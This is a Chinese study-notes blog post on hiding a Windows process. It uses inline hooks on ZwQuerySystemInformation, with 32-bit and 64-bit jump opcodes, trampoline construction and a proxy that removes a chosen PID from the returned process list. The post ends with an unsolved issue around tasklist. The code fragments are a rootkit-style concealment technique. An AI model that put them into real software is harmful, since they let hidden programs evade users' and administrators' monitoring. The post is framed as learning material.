隐藏进程-学习总结

隐藏进程-学习总结

学习隐藏进程,期间过程曲折,也确实是自己基础薄弱,需要加强。
特此,整理学习过程中的重点与解决的问题,以及待解决的问题,仅个人观点。
关于待解决问题,希望观者能帮忙留言提供解决办法。

总体的流程就是:
inline hook在32位和64位中的实现,以及实现关键点。
期间出现的问题以及解决办法。
发现的尚未解决的问题。



inline hook

32 位下用 4 字节表示地址,而 64 位下使用 8 字节来表示地址,所以跳转语句则也不同。

在 32 位下,汇编跳转语句为:

//vs2015 X86 Debug模式下,关闭增量链接
0xe9, 0x00, 0x00, 0x00, 0x00

64位下的汇编跳转语句为:

0xFF,0x25,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

不过在学习过程中,也百度到64位下的另一种跳转语句,如下代码。这个跳转仅限于本模块中跳转,而FF25这种跳转可以实现全部内存的跳转。

48 B8 00 00 00 00 00 00 00 00
FF E0


inline hook原理

使用inline hook。

  1. 获取函数地址ZwQuerySystemInformation(以下简称为原函数):
    加载ntdll.dll获取ZwQuerySystemInformation;
    将函数地址的前n(上一节解释了32位和64位的跳转语句)个字节复制给OriginalZwQuerySystemInformation(以下简称为Original函数),
    在这n个字节位置写入跳转到ProxyZeQuerySystemProcessInformation函数(以下简称为Proxy函数)的汇编代码。
  2. 代理函数ProxyZwQuerySystemInformation:
    调用OriginalZwQuerySystemInformation函数
    调用成功的话,继续执行查找进程列表中的进程,并删除该进程。
  3. 源码函数OriginalZwQuerySystemInformation:
    ZwQuerySystemInformation的前n个字节
    jmp至ZwQuerySystemInformation的下一条指令地址处(ZwQuerySystemInformation + n)。

inline hook的跳转逻辑如图hook学习
在这里插入图片描述



32位inlinehook处理细节

在32位下,mov语句和jmp语句都是5个字节,且32位下,大多数函数都是以mov语句开始的,所以基本可以直接操作前五个字节就可以。
32位的OriginalZwQuerySystemProcessInformation函数可以用汇编语言进行自定义:

__declspec(naked) void OriginalZwQuerySystemProcessInformation()
{
 	_asm
 	{
  	_emit 0x90;
  	_emit 0x90;
  	_emit 0x90;
  	_emit 0x90;
  	_emit 0x90;
  	_emit 0x90;//保证足够长,复制原函数的前5个字节就可以
 	jmp NextInstructionAddress
 	}
};

32位的inlinehook函数的处理重点为:
1、将原函数的前5个字节赋值给Original函数

memcpy(OriginalFunction, Function, *PatchCodeLen);

2、在跳转代码中写入Proxy函数地址,并且赋值给原函数地址

//UCHAR JmpCode[5] = {0xe9, 0x00, 0x00, 0x00, 0x00}; 
*(PULONG)&JmpCode[1] = (ULONG)ProxyAddress - ((ULONG)Address + 5);
memcpy(Address, JmpCode, *PatchCodeLen);

3、Proxy函数中只要调用Original函数就可以。

NTSTATUS Status = ((_ZwQuerySystemInformation)OriginalZwQuerySystemProcessInformation)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);


64位inlinehook处理关键点

由于64位下,__declspec(naked)不可用,所以Original函数要写成shellcode形式(32位也可以写成shellcode模式)。
64位的inlinehook函数的处理重点为:
1、获取原函数大于或者等于14个字节的指令长度

 while (Size < 14)
 {
  	Len = GetShellCodeLength(Address, 64);//ShellCode是一个获取地址Address处64位指令长度的函数
  	Address = Address + Len;
  	Size += Len;
 }

2、将原函数的前Size个字节赋值给Original函数,并将跳回原函数的指令添加

UCHAR JmpBackCode[] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
//获取跳回地址
*NextInstructionAddress = (ULONG64)Function + Size;
memcpy(JmpBackCode + 6, NextInstructionAddress, 8);
//给Original函数申请一段内存,将原函数前Size字节和跳回指令复制给Original函数
*OriginalFunction = VirtualAllocEx(GetCurrentProcess(), NULL, Size + 14, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 原始机器码 + 跳转机器码
memcpy((PUCHAR)*OriginalFunction, Function, Size);
memcpy((PUCHAR)*OriginalFunction + Size, JmpBackCode, PatchCodeLen);
memcpy(JmpCode + 6, &ProxyFunction, 8);

3、在跳转代码JmpCode[6]的位置写入Proxy函数地址,并且赋值给原函数地址(同32位)
4、Proxy函数调用Original函数(同32位)


32位和64位inlinehook的区别在于:
1、跳转指令不同
2、Original函数的实现方式不同



隐藏进程

在代理函数中隐藏进程

在这里插入代码片
Status = ((_ZwQuerySystemInformation)OriginalDeviceIoControlFile)SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(Status) && 5 == SystemInformationClass)
{
	pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
	while (TRUE)
	{
		// 判断是否是要隐藏的进程PID
   		char str[128] = { 0 };
   		sprintf_s(str, 128, "ProcessId %d\n", pCur->UniqueProcessId);
   		printf(str);
   		if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
   		{
    			printf("Find explorer.exe\n");
    			if (0 == pCur->NextEntryOffset)
   	 		{
     				pPrev->NextEntryOffset = 0;
     				printf(" explorer.exe is the last one\n");
   			}
    			else
    			{
    				pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
     				printf("Hide explorer.exe\n");
    			}
   		}
   		else
    			pPrev = pCur;
   		if (0 == pCur->NextEntryOffset)
    			break;
   		pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
  	}
 }


实现过程中的一些问题

debug的增量链接问题

在VS 2015 debug模式下,默认打开“启用增量链接”,release模式下默认关闭。
在这里插入图片描述
那么在进行inline hook的时候,会将ZwQuerySystemInformation函数的第一句复制到OriginalZwQuerySystemInformation的增量链接表中,增量链接表是一张跳转表,复制进去mov指令后,代码执行会崩溃。如下图 ,所以在debug模式下使用inline hook,需要关闭增量链接。在这里插入图片描述


ZwQuerySystemInformation二次调用问题

函数详解
typedef NTSTATUS(WINAPI* ZwQuerySystemInformation)(
 _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
 _Inout_   PVOID                    SystemInformation,
 _In_      ULONG                    SystemInformationLength,
 _Out_opt_ PULONG                   ReturnLength
 );

SystemInformation
SYSTEM_PROCESS_INFORMATION,返回进程的结构体SYSTEM_PROCESS_INFORMATION

SystemInformationLength
缓存区长度,BYTE字节数

ReturnLength
返回长度[输出,可选]
指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并在ReturnLength中返回接收请求的信息所需的缓冲区大小。

二次调用

第一次SystemInformationLength传入0,由于比ReturnLength小,所以ReturnLength中返回所需缓冲区大小。然后给缓冲区分配内存,并初始化为0。再次将长度赋值SystemInformationLength,这样就可以将信息复制到缓冲区中。

nStatus = ZWQuerySystemInformation(SystemExtendedProcessInformation, pProcIndex, 0, &retLength);
if (!retLength)
{
	printf("ZwQuerySystemInformation error!\n");
	return nStatus;
}
pProcIndex = (PSYSTEM_PROCESS_INFORMATION)malloc(retLength);
memset(pProcIndex, 0, retLength);
nStatus = ZWQuerySystemInformation(SystemProcessInformation, pProcIndex, retLength, &retLength);


待处理问题

在以下目标中注入hook的dll文件:
1、Taskmgr.exe添加链接描述
2、cmd.exe,使用命令tasklist查看当前进程
在cmd中,调用函数的时候,第二个参数传入的是SystemProcessorInformation(0x01)。
这个参数的结构体为:

typedef struct _SYSTEM_BASIC_INFORMATION {
 ULONG Unknown;       //Always contains zero 
 ULONG MaximumIncrement;     //一个时钟的计量单位 
 ULONG PhysicalPageSize;     //一个内存页的大小 
 ULONG NumberOfPhysicalPages;    //系统管理着多少个页 
 ULONG LowestPhysicalPage;     //低端内存页 
 ULONG HighestPhysicalPage;    //高端内存页 
 ULONG AllocationGranularity; 
 ULONG LowestUserAddress;     //地端用户地址 
 ULONG HighestUserAddress;     //高端用户地址 
 ULONG ActiveProcessors;     //激活的处理器 
 UCHAR NumberProcessors;     //有多少个处理器
}SYSTEM_BASIC_INFORMATION,*PSYSTEM_BASIC_INFORMATION;

怎么从这个参数获取的进程消息,我实在不知了、、、

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值